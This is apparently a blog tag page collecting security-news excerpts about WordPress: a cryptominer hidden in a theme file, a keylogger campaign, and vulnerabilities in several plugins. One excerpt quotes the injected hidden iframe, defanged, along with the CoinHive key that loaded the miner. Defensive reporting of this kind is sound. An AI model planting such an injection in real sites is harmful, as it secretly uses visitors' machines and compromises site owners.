Online Services

eWorldLinx

Tag: WordPress Security

  • Malicious Cryptominers from GitHub

    Malicious Cryptominers from GitHub

    Malicious Cryptominers from GitHub

    Recently, a webmaster contacted us when his AVG antivirus reported that the JS:Miner-C [Trj] infection was found on their site.

    Our investigation revealed a hidden iframe had been injected into the theme’s footer.php file:

    <iframe src="hxxps://wpupdates.github[.]io/ping/” style=”width:0;heigh:0;border:none;”>

    When we opened the URL in a browser, the page was blank.

    After checking the HTML source code, we discovered a piece of JavaScript using the CoinHive miner with the site key, CZziRExmOxYEE65Hm4E9fycCuNqZH1G9 and the username, MoneroU.

    Continue reading Malicious Cryptominers from GitHub at Sucuri Blog.

  • Cloudflare[.]Solutions Keylogger on Thousands of Infected WordPress Sites

    Cloudflare[.]Solutions Keylogger on Thousands of Infected WordPress Sites

    Cloudflare[.]Solutions Keylogger on Thousands of Infected WordPress Sites

    A few weeks ago, we wrote about a massive WordPress infection that injected an obfuscated script pretending to be jQuery and Google Analytics. In reality, this script loaded a CoinHive cryptocurrency miner from a third-party server.

    We also mentioned a post written back in April that described the cloudflare.solutions malware, which came along with the cryptominers. At this moment, PublcWWW reports there are 5,482 sites infected with this malware. It seems that this evolving campaign is now adding keyloggers to the mix.

    Continue reading Cloudflare[.]Solutions Keylogger on Thousands of Infected WordPress Sites at Sucuri Blog.

  • Formidable Forms / Shortcodes Ultimate Exploits In The Wild

    Formidable Forms / Shortcodes Ultimate Exploits In The Wild

    Formidable Forms / Shortcodes Ultimate Exploits In The Wild

    On Monday, November 20th, we were notified about a vulnerability that poses a serious security risk when the Shortcodes Ultimate and Formidable Forms plugins are used together on a single WordPress installation.

    Over the past couple of weeks, we’ve noticed a large influx in the number of malicious requests testing for the presence of the two popular WordPress plugins. Both of these plugins contain separate medium-risk vulnerabilities that, when combined, allow an attacker to remotely execute rogue code on the underlying server.

    Continue reading Formidable Forms / Shortcodes Ultimate Exploits In The Wild at Sucuri Blog.

  • Vulnerabilities in Formidable Forms, Duplicator and Yoast SEO Plugins

    Vulnerabilities have been reported in the Formidable Forms, Duplicator and Yoast SEO WordPress plugins. The Premium version of Wordfence protects against all of these vulnerabilities, even if you have not updated your plugins yet. We do recommend that you update immediately, whether or not you are using the Premium version of Wordfence.

    The details of the vulnerabilities are as follows:

    Formidable Forms 2.05.02 and older has multiple severe vulnerabilities

    Jouko Pynnönen disclosed multiple vulnerabilities in Formidable Forms version 2.05.02 and older. The report included multiple serious problems:

    • A preview function allowed unauthenticated users to execute an arbitrary shortcode. Normally, the use of shortcodes is restricted to site authors or administrators, as many of them could be used to exploit a site.
    • One of the plugin’s shortcodes included a SQL injection vulnerability.
    • Another shortcode allowed an unauthenticated user to view form responses.
    • Form previews were vulnerable to reflected cross site scripting.
    • Form input was not sufficiently sanitized to prevent stored cross site scripting, which could have been used to target administrators when they viewed form responses.

    Formidable Forms is used by over 200,000 active sites according to WordPress.org. The Formidable Forms team has released multiple updates addressing these issues, starting at 2.05.02. We released a firewall rule today, protecting Wordfence Premium customers from attempts to exploit this vulnerability. Free users should upgrade to version 2.05.05 immediately.

    Duplicator 1.2.28 and older vulnerable to stored XSS

    WPVulnDB also reports that the Duplicator, running on over 1 million active sites, fixed a stored cross site scripting vulnerability affecting versions 1.2.28 and older. This report also included the code changes.

    Duplicator version 1.2.29 fixed this issue, but their changelog does not mention a vulnerability (there is no currently entry at all for version 1.2.29). Wordfence includes built-in protection against attacks of this nature, so both Premium and free users should be safe.

    Yoast SEO 5.7.1 and older vulnerable to unauthenticated XSS

    Ryan Dewhurst’s WPVulnDB is reporting that Yoast SEO fixed an unauthenticated cross site scripting vulnerability that affected versions 5.7.1 and older. The code change showing the fix is linked to from the WPVulnDB report.

    Wordfence also protects against this exploit (both free and Premium).

    Conclusion

    We encourage you to share these vulnerabilities with the larger WordPress community to help keep site owners safe from exploitation.

    The post Vulnerabilities in Formidable Forms, Duplicator and Yoast SEO Plugins appeared first on Wordfence.